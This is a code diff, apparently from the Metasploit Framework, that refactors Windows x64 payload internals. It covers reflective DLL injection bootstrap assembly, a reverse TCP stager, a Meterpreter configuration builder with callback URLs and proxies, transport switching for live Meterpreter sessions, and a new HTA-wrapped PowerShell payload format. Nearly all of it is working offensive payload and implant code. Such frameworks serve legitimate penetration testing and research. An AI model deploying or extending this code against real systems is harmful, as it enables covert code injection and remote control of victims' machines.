# patch the bootstrap code into the dll's DOS header...
dll[ 0, bootstrap.length ] = bootstrap
dll
end
end
end

View File

@ -30,10 +30,7 @@ module Payload::Windows::ReflectiveDllInject_x64
'Platform' => 'win',
'Arch' => ARCH_X86_64,
'PayloadCompat' => { 'Convention' => 'sockrdi' },
'Stage' => {
'Offsets' => { 'EXITFUNC' => [ 47, 'V' ] },
'Payload' => ""
}
'Stage' => { 'Payload' => "" }
))
register_options( [ OptPath.new( 'DLL', [ true, "The local path to the Reflective DLL to upload" ] ), ], self.class )
@ -43,52 +40,60 @@ module Payload::Windows::ReflectiveDllInject_x64
datastore['DLL']
end
def asm_invoke_dll(opts={})
asm = %Q^
; prologue
db 0x4d, 0x5a ; 'MZ' = "pop r10"
push r10 ; back to where we started
push rbp ; save rbp
mov rbp, rsp ; set up a new stack frame
sub rsp, 32 ; allocate some space for calls.
; GetPC
call $+5 ; relative call to get location
pop rbx ; pop return value
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader()
add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x11)}
call rbx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
; offset from ReflectiveLoader() to the end of the DLL
mov r8, rdi ; r8 contains the socket
mov rbx, rax ; save DllMain for another call
push 4 ; push up 4, indicate that we have attached
pop rdx ; pop 4 into rdx
call rbx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
; push the exitfunk value onto the stack
mov r8d, #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
push 5 ; push 5, indicate that we have detached
pop rdx ; pop 5 into rdx
call rbx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
^
end
def stage_payload
# Exceptions will be thrown by the mixin if there are issues.
dll, offset = load_rdi_dll(library_path)
exit_funk = [ @@exit_types['thread'] ].pack( "V" ) # Default to ExitThread for migration
bootstrap = "\x4D\x5A" + # pop r10 ; pop r10 = 'MZ'
"\x41\x52" + # push r10 ; push r10 back
"\x55" + # push rbp ; save ebp
"\x48\x89\xE5" + # mov rbp, rsp ; setup fresh stack frame
"\x48\x81\xEC\x20\x00\x00\x00" + # sub rsp, 32 ; alloc some space for calls
"\x48\x8D\x1D\xEA\xFF\xFF\xFF" + # lea rbx, [rel+0] ; get virtual address for the start of this stub
"\x48\x81\xC3" + [offset].pack( "V" ) + # add rbx, 0x???????? ; add offset to ReflectiveLoader
"\xFF\xD3" + # call rbx ; call ReflectiveLoader()
"\x48\x89\xC3" + # mov rbx, rax ; save DllMain for second call
"\x49\x89\xF8" + # mov r8, rdi ; R8 = our socket
"\x68\x04\x00\x00\x00" + # push 4 ;
"\x5A" + # pop rdx ; RDX = signal we have attached
"\xFF\xD0" + # call rax ; call DllMain( somevalue, DLL_METASPLOIT_ATTACH, socket )
"\x41\xB8" + exit_funk + # mov r8d, 0x???????? ; our EXITFUNC placeholder
"\x68\x05\x00\x00\x00" + # push 5 ;
"\x5A" + # pop rdx ; signal we have detached
"\xFF\xD3" # call rbx ; call DllMain( somevalue, DLL_METASPLOIT_DETACH, exitfunk )
# the DOS headers e_lfanew entry will begin here at offset 64.
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
if( bootstrap.length > 62 )
print_error( "Reflective Dll Injection (x64) generated an oversized bootstrap!" )
return
end
# patch in the timeout options
timeout_opts = {
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
asm_opts = {
rdi_offset: offset,
exitfunk: 'thread' # default to 'thread' for migration
}
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts)
asm = asm_invoke_dll(asm_opts)
# generate the bootstrap asm
bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
if bootstrap.length > 62
raise RuntimeError, "Reflective DLL Injection (x64) generated an oversized bootstrap!"
end
# patch the bootstrap code into the dll's DOS header...
dll[ 0, bootstrap.length ] = bootstrap
# return our stage to be loaded by the intermediate stager
return dll
dll
end
end

View File

@ -1,6 +1,7 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/windows/x64/block_api'
require 'msf/core/payload/windows/x64/exitfunk'
@ -14,6 +15,7 @@ module Msf
module Payload::Windows::ReverseTcp_x64
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Windows::BlockApi_x64
include Msf::Payload::Windows::Exitfunk_x64
@ -29,24 +31,19 @@ module Payload::Windows::ReverseTcp_x64
# Generate the first stage
#
def generate
# TODO: coming later
# Generate the simple version of this stager if we don't have enough space
#if self.available_space.nil? || required_space > self.available_space
# return generate_reverse_tcp(
# port: datastore['LPORT'],
# host: datastore['LHOST'],
# retry_count: datastore['ReverseConnectRetries'],
# )
#end
conf = {
host: datastore['LHOST'],
port: datastore['LPORT'],
host: datastore['LHOST'],
retry_count: datastore['ReverseConnectRetries'],
exitfunk: datastore['EXITFUNC'],
reliable: true
reliable: false
}
# Generate the advanced stager if we have space
unless self.available_space.nil? || required_space > self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true
end
generate_reverse_tcp(conf)
end
@ -66,6 +63,10 @@ module Payload::Windows::ReverseTcp_x64
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
end
def transport_config(opts={})
transport_config_reverse_tcp(opts)
end
#
# Determine the maximum amount of space required for the features requested
#
@ -92,8 +93,9 @@ module Payload::Windows::ReverseTcp_x64
#
def asm_reverse_tcp(opts={})
#retry_count = [opts[:retry_count].to_i, 1].max
# TODO: reliable = opts[:reliable]
# TODO: reliability coming later
reliable = opts[:reliable]
retry_count = [opts[:retry_count].to_i, 1].max
encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first
encoded_host = Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]

View File

@ -1,121 +0,0 @@
#-*- coding: binary -*-
require 'msf/core'
require 'rex/payloads/meterpreter/patch'
module Msf
##
#
# Implements stageless invocation of metsrv in x64
#
##
module Payload::Windows::StagelessMeterpreter_x64
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::ReflectiveDLLLoader
def asm_invoke_metsrv(opts={})
asm = %Q^
; prologue
db 0x4d, 0x5a ; 'MZ' = "pop r10"
push r10 ; back to where we started
push rbp ; save rbp
mov rbp, rsp ; set up a new stack frame
sub rsp, 32 ; allocate some space for calls.
; GetPC
call $+5 ; relative call to get location
pop rbx ; pop return value
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader()
add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x11)}
call rbx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
; offset from ReflectiveLoader() to the end of the DLL
add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
mov r8, rbx ; r8 points to the extension list
mov rbx, rax ; save DllMain for another call
push 4 ; push up 4, indicate that we have attached
pop rdx ; pop 4 into rdx
call rbx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
; push the exitfunk value onto the stack
mov r8d, #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
push 5 ; push 5, indicate that we have detached
pop rdx ; pop 5 into rdx
call rbx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
^
asm
end
def generate_stageless_x64(url = nil)
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll'))
conf = {
:rdi_offset => offset,
:length => dll.length,
:exitfunk => datastore['EXITFUNC']
}
asm = asm_invoke_metsrv(conf)
# generate the bootstrap asm
bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
if bootstrap.length > 62
print_error("Stageless Meterpreter generated with oversized x64 bootstrap.")
return
end
# patch the binary with all the stuff
dll[0, bootstrap.length] = bootstrap
# the URL might not be given, as it might be patched in some other way
if url
# Patch the URL using the patcher as this supports both ASCII and WCHAR.
unless Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00")
# If the patching failed this could mean that we are somehow
# working with outdated binaries, so try to patch with the
# old stuff.
Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00")
end
end
# Patch in the timeout options
timeout_opts = {
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i
}
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts)
# if a block is given then call that with the meterpreter dll
# so that custom patching can happen if required
yield dll if block_given?
# append each extension to the payload, including
# the size of the extension
unless datastore['EXTENSIONS'].nil?
datastore['EXTENSIONS'].split(',').each do |e|
e = e.strip.downcase
ext, o = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{e}", 'x64.dll'))
# append the size, offset to RDI and the payload itself
dll << [ext.length].pack('V') + ext
end
end
# Terminate the "list" of extensions
dll + [0].pack('V')
end
end
end

View File

@ -64,6 +64,9 @@ module Msf
# @!attribute space
# @return [Fixnum] The maximum size in bytes of the payload
attr_accessor :space
# @!attribute encoder_space
# @return [Fixnum] The maximum size in bytes of the encoded payload
attr_accessor :encoder_space
# @!attribute stdin
# @return [String] The raw bytes of a payload taken from STDIN
attr_accessor :stdin
@ -85,6 +88,7 @@ module Msf
# @option opts [String] :badchars (see #badchars)
# @option opts [String] :template (see #template)
# @option opts [Fixnum] :space (see #space)
# @option opts [Fixnum] :encoder_space (see #encoder_space)
# @option opts [Fixnum] :nops (see #nops)
# @option opts [String] :add_code (see #add_code)
# @option opts [Boolean] :keep (see #keep)
@ -109,6 +113,7 @@ module Msf
@stdin = opts.fetch(:stdin, nil)
@template = opts.fetch(:template, '')
@var_name = opts.fetch(:var_name, 'buf')
@encoder_space = opts.fetch(:encoder_space, @space)
@framework = opts.fetch(:framework)
@ -200,7 +205,7 @@ module Msf
encoder_list.each do |encoder_mod|
cli_print "Attempting to encode payload with #{iterations} iterations of #{encoder_mod.refname}"
begin
encoder_mod.available_space = @space
encoder_mod.available_space = @encoder_space
return run_encoder(encoder_mod, shellcode.dup)
rescue ::Msf::EncoderSpaceViolation => e
cli_print "#{encoder_mod.refname} failed with #{e.message}"
@ -276,12 +281,15 @@ module Msf
# @return [String] A string containing the bytes of the payload in the format selected
def generate_payload
if platform == "java" or arch == "java" or payload.start_with? "java/"
generate_java_payload
p = generate_java_payload
cli_print "Payload size: #{p.length} bytes"
p
else
raw_payload = generate_raw_payload
raw_payload = add_shellcode(raw_payload)
encoded_payload = encode_payload(raw_payload)
encoded_payload = prepend_nops(encoded_payload)
cli_print "Payload size: #{encoded_payload.length} bytes"
format_payload(encoded_payload)
end
end
@ -392,7 +400,7 @@ module Msf
iterations.times do |x|
shellcode = encoder_module.encode(shellcode.dup, badchars, nil, platform_list)
cli_print "#{encoder_module.refname} succeeded with size #{shellcode.length} (iteration=#{x})"
if shellcode.length > space
if shellcode.length > encoder_space
raise EncoderSpaceViolation, "encoder has made a buffer that is too big"
end
end

View File

@ -668,7 +668,7 @@ class Db
columns = [host.address] + col_names.map { |n| service[n].to_s || "" }
tbl << columns
if set_rhosts
addr = (host.scope ? host.address + '%' + host.scope : host.address)
addr = (host.scope ? host.address + '%' + host.scope : host.address )
rhosts << addr
end
@ -790,6 +790,7 @@ class Db
# Same for service names
next unless svcs.empty? or svcs.include?(vuln.service.name)
print_status("Time: #{vuln.created_at} Vuln: host=#{host.address} name=#{vuln.name} refs=#{reflist.join(',')} #{(show_info && vuln.info) ? "info=#{vuln.info}" : ""}")
else
# This vuln has no service, so it can't match
next unless ports.empty? and svcs.empty?
@ -1318,7 +1319,7 @@ class Db
host = note.host
msg << " host=#{note.host.address}"
if set_rhosts
addr = (host.scope ? host.address + '%' + host.scope : host.address)
addr = (host.scope ? host.address + '%' + host.scope : host.address )
rhosts << addr
end
end

View File

@ -1117,6 +1117,29 @@ require 'msf/core/exe/segment_appender'
method: 'reflection')
end
def self.to_powershell_hta(framework, arch, code)
template_path = File.join(Msf::Config.data_directory,
"templates",
"scripts")
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
arch,
template_path,
encode_final_payload: true,
remove_comspec: true,
method: 'reflection')
# Intialize rig and value names
rig = Rex::RandomIdentifierGenerator.new()
rig.init_var(:var_shell)
rig.init_var(:var_fso)
hash_sub = rig.to_h
hash_sub[:powershell] = powershell
read_replace_script_template("to_powershell.hta.template", hash_sub)
end
def self.to_win32pe_vbs(framework, code, opts = {})
to_exe_vbs(to_win32pe(framework, code, opts), opts)
end
@ -1928,6 +1951,8 @@ require 'msf/core/exe/segment_appender'
Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)
when 'psh-cmd'
Msf::Util::EXE.to_powershell_command(framework, arch, code)
when 'hta-psh'
Msf::Util::EXE.to_powershell_hta(framework, arch, code)
end
end
@ -1943,6 +1968,7 @@ require 'msf/core/exe/segment_appender'
"exe-only",
"exe-service",
"exe-small",
"hta-psh",
"loop-vbs",
"macho",
"msi",

View File

@ -1,3 +1,2 @@
# -*- coding: binary -*-
require 'rex/payloads/win32'
require 'rex/payloads/meterpreter'

View File

@ -1,2 +0,0 @@
# -*- coding: binary -*-
require 'rex/payloads/meterpreter/patch'

View File

@ -0,0 +1,154 @@
# -*- coding: binary -*-
require 'msf/core/payload/uuid'
require 'msf/core/payload/windows'
require 'msf/core/reflective_dll_loader'
require 'rex/parser/x509_certificate'
class Rex::Payloads::Meterpreter::Config
include Msf::ReflectiveDLLLoader
URL_SIZE = 512
UA_SIZE = 256
PROXY_HOST_SIZE = 128
PROXY_USER_SIZE = 64
PROXY_PASS_SIZE = 64
CERT_HASH_SIZE = 20
def initialize(opts={})
@opts = opts
if opts[:ascii_str] && opts[:ascii_str] == true
@to_str = self.method(:to_ascii)
else
@to_str = self.method(:to_wchar_t)
end
end
def to_b
config_block
end
private
def is_x86?
@opts[:arch] == ARCH_X86
end
def to_str(item, size)
@to_str.call(item, size)
end
def to_wchar_t(item, size)
to_ascii(item, size).unpack('C*').pack('v*')
end
def to_ascii(item, size)
item.to_s.ljust(size, "\x00")
end
def session_block(opts)
uuid = opts[:uuid].to_raw
exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]]
session_data = [
0, # comms socket, patched in by the stager
exit_func, # exit function identifer
opts[:expiration], # Session expiry
uuid # the UUID
]
session_data.pack('VVVA*')
end
def transport_block(opts)
# Build the URL from the given parameters, and pad it out to the
# correct size
lhost = opts[:lhost]
if lhost && opts[:scheme].start_with?('http') && Rex::Socket.is_ipv6?(lhost)
lhost = "[#{lhost}]"
end
url = "#{opts[:scheme]}://#{lhost}:#{opts[:lport]}"
url << "#{opts[:uri]}/" if opts[:uri]
url << "?#{opts[:scope_id]}" if opts[:scope_id]
# if the transport URI is for a HTTP payload we need to add a stack
# of other stuff
pack = 'A*VVV'
transport_data = [
to_str(url, URL_SIZE), # transport URL
opts[:comm_timeout], # communications timeout
opts[:retry_total], # retry total time
opts[:retry_wait] # retry wait time
]
if url.start_with?('http')
proxy_host = ''
if opts[:proxy_host] && opts[:proxy_port]
prefix = 'http://'
prefix = 'socks=' if opts[:proxy_type].downcase == 'socks'
proxy_host = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
end
proxy_host = to_str(proxy_host || '', PROXY_HOST_SIZE)
proxy_user = to_str(opts[:proxy_user] || '', PROXY_USER_SIZE)
proxy_pass = to_str(opts[:proxy_pass] || '', PROXY_PASS_SIZE)
ua = to_str(opts[:ua] || '', UA_SIZE)
cert_hash = "\x00" * CERT_HASH_SIZE
cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash]
# add the HTTP specific stuff
transport_data << proxy_host # Proxy host name
transport_data << proxy_user # Proxy user name
transport_data << proxy_pass # Proxy password
transport_data << ua # HTTP user agent
transport_data << cert_hash # SSL cert hash for verification
# update the packing spec
pack << 'A*A*A*A*A*'
end
# return the packed transport information
transport_data.pack(pack)
end
def extension_block(ext_name, file_extension)
ext_name = ext_name.strip.downcase
ext, o = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}",
file_extension))
extension_data = [ ext.length, ext ].pack('VA*')
end
def config_block
# start with the session information
config = session_block(@opts)
# then load up the transport configurations
(@opts[:transports] || []).each do |t|
config << transport_block(t)
end
# terminate the transports with NULL (wchar)
config << "\x00\x00"
# configure the extensions - this will have to change when posix comes
# into play.
file_extension = 'x86.dll'
file_extension = 'x64.dll' unless is_x86?
(@opts[:extensions] || []).each do |e|
config << extension_block(e, file_extension)
end
# terminate the extensions with a 0 size
if is_x86?
config << [0].pack('V')
else
config << [0].pack('Q<')
end
# and we're done
config
end
end

View File

@ -1,166 +0,0 @@
# -*- coding: binary -*-
module Rex
module Payloads
module Meterpreter
###
#
# Provides methods to patch options into metsrv stagers
#
###
module Patch
#
# Replace the transport string
#
def self.patch_transport!(blob, ssl)
str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
patch_string!(blob, "METERPRETER_TRANSPORT_SSL", str)
end
#
# Replace the URL
#
def self.patch_url!(blob, url)
unless patch_string!(blob, "https://#{'X' * 512}", url)
# If the patching failed this could mean that we are somehow
# working with outdated binaries, so try to patch with the
# old stuff.
patch_string!(blob, "https://#{'X' * 256}", url)
end
end
#
# Replace the timeout data with the actual timeout values.
#
def self.patch_timeouts!(blob, opts)
i = blob.index("METERP_TIMEOUTS\x00")
if i
data = [opts[:expiration].to_i, opts[:comm_timeout].to_i,
opts[:retry_total].to_i, opts[:retry_wait].to_i].pack("VVVV")
blob[i, data.length] = data
end
end
#
# Replace the user agent string with our option
#
def self.patch_ua!(blob, ua)
patch_string!(blob, "METERPRETER_UA\x00", ua[0,255] + "\x00")
end
#
# Activate a custom proxy
#
def self.patch_proxy!(blob, proxyhost, proxyport, proxy_type)
if proxyhost && proxyhost.to_s != ""
proxyhost = proxyhost.to_s
proxyport = proxyport.to_s || "8080"
proxyinfo = proxyhost + ":" + proxyport
if proxyport == "80"
proxyinfo = proxyhost
end
if proxy_type.to_s.upcase == 'HTTP'
proxyinfo = 'http://' + proxyinfo
else #socks
proxyinfo = 'socks=' + proxyinfo
end
proxyinfo << "\x00"
patch_string!(blob, "METERPRETER_PROXY#{"\x00" * 10}", proxyinfo)
end
end
#
# Proxy authentification
#
def self.patch_proxy_auth!(blob, proxy_username, proxy_password, proxy_type)
return if proxy_type.nil? || proxy_type.upcase == 'SOCKS'
if proxy_username && !proxy_username.empty?
unless patch_string!(blob, "METERPRETER_USERNAME_PROXY#{"\x00" * 10}",
proxy_username + "\x00")
raise ArgumentError, "Unable to patch Proxy Username"
end
end
if proxy_password && !proxy_password.empty?
unless patch_string!(blob, "METERPRETER_PASSWORD_PROXY#{"\x00" * 10}",
proxy_password + "\x00")
raise ArgumentError, "Unable to patch Proxy Password"
end
end
end
#
# Patch the ssl cert hash
#
def self.patch_ssl_check!(blob, ssl_cert_hash)
# SSL cert location is an ASCII string, so no need for
# WCHAR support
if ssl_cert_hash
i = blob.index("METERPRETER_SSL_CERT_HASH\x00")
if i
blob[i, ssl_cert_hash.length] = ssl_cert_hash
end
end
end
#
# Patch options into metsrv for reverse HTTP payloads
#
def self.patch_passive_service!(blob, opts)
patch_transport!(blob, opts[:ssl])
patch_url!(blob, opts[:url])
patch_timeouts!(blob, opts)
patch_ua!(blob, opts[:ua])
patch_ssl_check!(blob, opts[:ssl_cert_hash])
patch_proxy!(blob,
opts[:proxy_host],
opts[:proxy_port],
opts[:proxy_type]
)
patch_proxy_auth!(blob,
opts[:proxy_user],
opts[:proxy_pass],
opts[:proxy_type]
)
end
#
# Patch an ASCII value in the given payload. If not found, try WCHAR instead.
#
def self.patch_string!(blob, search, replacement)
result = false
i = blob.index(search)
if i
blob[i, replacement.length] = replacement
result = true
else
i = blob.index(wchar(search))
if i
r = wchar(replacement)
blob[i, r.length] = r
result = true
end
end
result
end
private
#
# Convert the given ASCII string into a WCHAR string (dumb, but works)
#
def self.wchar(str)
str.to_s.unpack("C*").pack("v*")
end
end
end
end
end

View File

@ -8,9 +8,6 @@ require 'rex/post/meterpreter/client'
# argument for moving the meterpreter client into the Msf namespace.
require 'msf/core/payload/windows'
# Provides methods to patch options into the metsrv stager.
require 'rex/payloads/meterpreter/patch'
# URI uuid and checksum stuff
require 'msf/core/payload/uuid'
require 'rex/payloads/meterpreter/uri_checksum'
@ -100,6 +97,32 @@ class ClientCore < Extension
commands
end
def transport_list
request = Packet.create_request('core_transport_list')
response = client.send_request(request)
result = {
:session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
:transports => []
}
response.each(TLV_TYPE_TRANS_GROUP) { |t|
result[:transports] << {
:url => t.get_tlv_value(TLV_TYPE_TRANS_URL),
:comm_timeout => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
:retry_total => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
:retry_wait => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT),
:ua => t.get_tlv_value(TLV_TYPE_TRANS_UA),
:proxy_host => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST),
:proxy_user => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER),
:proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS),
:cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
}
}
result
end
def set_transport_timeouts(opts={})
request = Packet.create_request('core_transport_set_timeouts')
@ -273,6 +296,18 @@ class ClientCore < Extension
return true
end
def uuid(timeout=nil)
request = Packet.create_request('core_uuid')
args = [ request ]
args << timeout if timeout
response = client.send_request(*args)
id = response.get_tlv_value(TLV_TYPE_UUID)
return Msf::Payload::UUID.new({:raw => id})
end
def machine_id(timeout=nil)
request = Packet.create_request('core_machine_id')
@ -285,83 +320,46 @@ class ClientCore < Extension
return Rex::Text.md5(mid)
end
def transport_add(opts={})
request = transport_prepare_request('core_transport_add', opts)
return false unless request
client.send_request(request)
return true
end
def transport_change(opts={})
request = transport_prepare_request('core_transport_change', opts)
unless valid_transport?(opts[:transport]) && opts[:lport]
return false
end
return false unless request
if opts[:transport].starts_with?('reverse')
return false unless opts[:lhost]
else
# Bind shouldn't have lhost set
opts[:lhost] = nil
end
client.send_request(request)
transport = VALID_TRANSPORTS[opts[:transport]]
return true
end
request = Packet.create_request('core_transport_change')
def transport_sleep(seconds)
return false if seconds == 0
scheme = opts[:transport].split('_')[1]
url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
request = Packet.create_request('core_transport_sleep')
if opts[:comm_timeout]
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
end
# we're reusing the comms timeout setting here instead of
# creating a whole new TLV value
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, seconds)
client.send_request(request)
return true
end
if opts[:session_exp]
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
end
if opts[:retry_total]
request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
end
if opts[:retry_wait]
request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
end
# do more magic work for http(s) payloads
unless opts[:transport].ends_with?('tcp')
sum = uri_checksum_lookup(:connect)
uuid = client.payload_uuid
unless uuid
arch, plat = client.platform.split('/')
uuid = Msf::Payload::UUID.new({
arch: arch,
platform: plat.starts_with?('win') ? 'windows' : plat
})
end
url << generate_uri_uuid(sum, uuid) + '/'
# TODO: randomise if not specified?
opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'
request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])
if transport == METERPRETER_TRANSPORT_HTTPS && opts[:cert]
hash = Rex::Parser::X509Certificate.get_cert_file_hash(opts[:cert])
request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
end
if opts[:proxy_host] && opts[:proxy_port]
prefix = 'http://'
prefix = 'socks=' if opts[:proxy_type] == 'socks'
proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
request.add_tlv(TLV_TYPE_TRANS_PROXY_INFO, proxy)
if opts[:proxy_user]
request.add_tlv(TLV_TYPE_TRANS_PROXY_USER, opts[:proxy_user])
end
if opts[:proxy_pass]
request.add_tlv(TLV_TYPE_TRANS_PROXY_PASS, opts[:proxy_pass])
end
end
end
request.add_tlv(TLV_TYPE_TRANS_TYPE, transport)
request.add_tlv(TLV_TYPE_TRANS_URL, url)
def transport_next
request = Packet.create_request('core_transport_next')
client.send_request(request)
return true
end
def transport_prev
request = Packet.create_request('core_transport_prev')
client.send_request(request)
return true
end
@ -599,11 +597,87 @@ class ClientCore < Extension
# Indicates if the given transport is a valid transport option.
#
def valid_transport?(transport)
VALID_TRANSPORTS.has_key?(transport.downcase)
if transport
VALID_TRANSPORTS.has_key?(transport.downcase)
else
false
end
end
private
def transport_prepare_request(method, opts={})
unless valid_transport?(opts[:transport]) && opts[:lport]
return nil
end
if opts[:transport].starts_with?('reverse')
return false unless opts[:lhost]
else
# Bind shouldn't have lhost set
opts[:lhost] = nil
end
transport = VALID_TRANSPORTS[opts[:transport]]
request = Packet.create_request(method)
scheme = opts[:transport].split('_')[1]
url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
if opts[:comm_timeout]
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
end
if opts[:session_exp]
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
end
if opts[:retry_total]
request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
end
if opts[:retry_wait]
request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
end
# do more magic work for http(s) payloads
unless opts[:transport].ends_with?('tcp')
sum = uri_checksum_lookup(:connect)
url << generate_uri_uuid(sum, opts[:uuid]) + '/'
# TODO: randomise if not specified?
opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'
request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])
if transport == METERPRETER_TRANSPORT_HTTPS && opts[:cert]
hash = Rex::Parser::X509Certificate.get_cert_file_hash(opts[:cert])
request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
end
if opts[:proxy_host] && opts[:proxy_port]
prefix = 'http://'
prefix = 'socks=' if opts[:proxy_type] == 'socks'
proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
request.add_tlv(TLV_TYPE_TRANS_PROXY_HOST, proxy)
if opts[:proxy_user]
request.add_tlv(TLV_TYPE_TRANS_PROXY_USER, opts[:proxy_user])
end
if opts[:proxy_pass]
request.add_tlv(TLV_TYPE_TRANS_PROXY_PASS, opts[:proxy_pass])
end
end
end
request.add_tlv(TLV_TYPE_TRANS_TYPE, transport)
request.add_tlv(TLV_TYPE_TRANS_URL, url)
return request
end
def generate_payload_stub(process)
case client.platform
when /win/i
@ -623,11 +697,9 @@ class ClientCore < Extension
# Include the appropriate reflective dll injection module for the target process architecture...
if process['arch'] == ARCH_X86
c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
binary_suffix = "x86.dll"
c.include( ::Msf::Payload::Windows::MeterpreterLoader )
elsif process['arch'] == ARCH_X86_64
c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
binary_suffix = "x64.dll"
c.include( ::Msf::Payload::Windows::MeterpreterLoader_x64 )
else
raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
end
@ -635,37 +707,7 @@ class ClientCore < Extension
# Create the migrate stager
migrate_stager = c.new()
dll = MetasploitPayloads.meterpreter_path('metsrv', binary_suffix)
if dll.nil?
raise RuntimeError, "metsrv.#{binary_suffix} not found", caller
end
migrate_stager.datastore['DLL'] = dll
# Pass the timeout information to the RDI loader so that it correctly
# patches the timeouts into the binary.
migrate_stager.datastore['SessionExpirationTimeout'] = self.client.expiration
migrate_stager.datastore['SessionCommunicationTimeout'] = self.client.comm_timeout
migrate_stager.datastore['SessionRetryTotal'] = self.client.retry_total
migrate_stager.datastore['SessionRetryWait'] = self.client.retry_wait
blob = migrate_stager.stage_payload
if client.passive_service
# Patch options into metsrv for reverse HTTP payloads.
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
:ssl => client.ssl,
:url => self.client.url,
:expiration => self.client.expiration,
:comm_timeout => self.client.comm_timeout,
:retry_total => self.client.retry_total,
:retry_wait => self.client.retry_wait,
:ua => client.exploit_datastore['MeterpreterUserAgent'],
:proxy_host => client.exploit_datastore['PayloadProxyHost'],
:proxy_port => client.exploit_datastore['PayloadProxyPort'],
:proxy_type => client.exploit_datastore['PayloadProxyType'],
:proxy_user => client.exploit_datastore['PayloadProxyUser'],
:proxy_pass => client.exploit_datastore['PayloadProxyPass'])
end
blob = migrate_stager.stage_meterpreter
blob
end
